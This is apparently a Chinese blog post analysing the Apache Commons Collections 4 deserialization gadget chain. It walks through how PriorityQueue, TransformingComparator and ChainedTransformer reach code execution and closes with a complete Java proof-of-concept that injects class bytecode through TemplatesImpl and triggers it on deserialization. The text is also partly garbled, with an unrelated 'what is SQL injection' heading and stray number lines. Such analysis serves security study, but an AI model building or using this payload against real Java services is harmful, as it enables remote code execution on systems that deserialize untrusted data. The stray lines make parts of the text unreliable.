CommonsCollections4分析
第一章 什么是sql注入
基础知识
PriorityQueue
PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常用方法:
add(E e) 将指定的元素插入此优先级队列 clear() 从此优先级队列中移除所有元素。 comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null contains(Object o) 如果此队列包含指定的元素,则返回 true。 iterator() 返回在此队列中的元素上进行迭代的迭代器。 offer(E e) 将指定的元素插入此优先级队列 peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。 poll() 获取并移除此队列的头,如果此队列为空,则返回 null。 remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。 size() 返回此 collection 中的元素数。 toArray() 返回一个包含此队列所有元素的数组。
eg:
public static void main(String[] args) throws NotFoundException { PriorityQueue priorityQueue=new PriorityQueue(2); priorityQueue.add(4); priorityQueue.add(3); priorityQueue.add(2); priorityQueue.add(1); //add()添加指定元素到队列 System.out.println(priorityQueue); System.out.println(priorityQueue.poll()); //poll获取队列的头 }
TransformingComparator
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
类似。
TransformingComparator是一个比较器comparator
在TransformingComparator的构造方法中,传入了两个值transformer和decorated
TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法
具体实现是this.transformer
在传入ChainedTransformer
后,会调用ChainedTransformer#transform
反射链
PriorityQueue类分析
再cc4中 PriorityQueue中的readObject一步一步最终 调用了compare() 而compare()最终调用了transform()
PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口
readObject中调用了heapify() 注意这里需要的for循环 这里长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素
heapify()调用了siftdown()
sitdown()调用了siftDownUsingComparator()
在siftDownUsingComparator()又调用了 comparator.compare()
TransformingComparator类分析
先来对比一下cc3把那本的TransformingComparator类和cc4中TransformingComparator类的区别 这里的cc3和cc4指的是Apache Commons Collections包的版本
CC3包中不能进行序列化
CC4包中可以进行序列化
8888888888888888
1111
解决本地序列化时触发的问题
这里有个问题就是我们在本地生成序列化时它也会执行因为我们直接就出发了它 我们需要它只在序列化时执行
解决 先把transformingComparator
改成一个没作用的东西
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
在add添加元素完再改回来
Class c=transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer);
三个小问题
initialCapacity的值要大于1
comparator != null
comparator 是通过PriorityQueue 的构造方法传入
size>= 2
最终poc
package ysoserial; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.convert.TransformWriteField; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.LazyMap; import org.apache.xalan.xsltc.trax.TrAXFilter; import javax.xml.crypto.dsig.Transform; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class cc4 { public static void main(String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameField=tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); // Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c=transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj); } public static void unserialize(Object obj) throws Exception{ ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin")); oss.readObject(); } }